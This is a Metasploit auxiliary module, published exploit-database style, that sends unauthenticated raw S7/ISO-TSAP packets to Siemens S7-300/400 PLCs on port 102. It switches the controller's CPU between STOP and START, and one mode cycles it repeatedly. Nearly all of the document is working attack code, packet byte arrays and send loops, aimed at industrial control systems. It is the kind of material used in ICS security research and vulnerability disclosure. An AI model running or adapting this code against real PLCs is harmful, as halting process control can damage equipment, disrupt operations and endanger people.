Siemens Simatic S7-300/400 CPU START/STOP Module

# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 
 include Msf::Exploit::Remote::Tcp
 include Rex::Socket::Tcp
 include Msf::Auxiliary::Scanner

 def initialize(info = {})
  super(update_info(info,
    'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
    'Description'   => %q{
    The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
    this modules allows an attacker to perform administrative commands without authentication.
    This module allows a remote user to change the state of the PLC between
    STOP and START, allowing an attacker to end process control by the PLC.
   },
    'Author'   => 'Dillon Beresford',
    'License'        => MSF_LICENSE,
    'References'     =>
    [
     [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
     [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
    ],
   'Version'        => '$Revision$',
    'DisclosureDate' => 'May 09 2011'
    ))
   
    register_options(
     [
      Opt::RPORT(102),
      OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
      OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
      ], self.class)
  end
   
    def run_host(ip)
  begin
  
  cpu = datastore['MODE'] || ''
  cycles = datastore['CYCLES'] || ''
    
  stop_cpu_pkt =
    [
              "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                 "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
          "\x02\x01\x02\xc0\x01\x09",

    "\x03\x00\x00\x19\x02\xf0\x80\x32"+
    "\x01\x00\x00\xff\xff\x00\x08\x00"+
    "\x00\xf0\x00\x00\x01\x00\x01\x03"+
    "\xc0",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x00\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x40\x00\x01\x84\x00\x00\x00",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",

    "\x03\x00\x00\x21\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x02\x00\x10\x00"+
    "\x00\x29\x00\x00\x00\x00\x00\x09"+
    "\x50\x5f\x50\x52\x4f\x47\x52\x41"+
    "\x4d",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
      "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",
    
    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00"
    ]
  
  start_cpu_pkt =
    [
              "\x03\x00\x00\x16\x11\xe0\x00\x00"+
    "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
    "\x02\x01\x02\xc0\x01\x09",

    "\x03\x00\x00\x19\x02\xf0\x80\x32"+
    "\x01\x00\x00\xff\xff\x00\x08\x00"+
    "\x00\xf0\x00\x00\x01\x00\x01\x03"+
    "\xc0",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x00\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x40\x00\x01\x84\x00\x00\x00",

    "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
    "\x01\x00\x00\x00\x01\x00\x0e\x00"+
    "\x00\x04\x01\x12\x0a\x10\x02\x00"+
    "\x10\x00\x00\x83\x00\x00\x00",

    "\x03\x00\x00\x25\x02\xf0\x80\x32"+ 
    "\x01\x00\x00\x00\x02\x00\x14\x00"+
    "\x00\x28\x00\x00\x00\x00\x00\x00"+
    "\xfd\x00\x00\x09\x50\x5f\x50\x52"+
    "\x4f\x47\x52\x41\x4d"
    
    ]
  # CPU STOP  
  if(cpu == 1)
  connect()
  stop_cpu_pkt.each do |i|
    sock.put("#{i}")
    sleep(0.005)
    end
   end
   # CPU START
   if(cpu == 2)
  connect()
  start_cpu_pkt.each do |i|
    sock.put("#{i}")
    sleep(0.005)
    end
   end
 # STOP / START CPU
 for n in 0..cycles
   if(cpu == 3)
  connect()
  # We assume PLC is up and running (issue a stop command)
  stop_cpu_pkt.each do |i| 
    sock.put("#{i}")
    sleep(0.005)
  end
  
  connect()
  # We assume PLC is has been stopped (issue a start command)
   start_cpu_pkt.each do |i|
     sock.put("#{i}")
    sleep(0.005)
    end
   end
  end
 
 data = sock.get_once() 
  print_good("#{ip} PLC is running, iso-tsap port is open.")
 if(cpu == 'true')
  print_status("Putting the PLC into START mode.")
   elsif(cpu == 'false')
    print_status("Putting the PLC into STOP mode.")
   end
   disconnect()
   rescue ::EOFError
  end
 end
end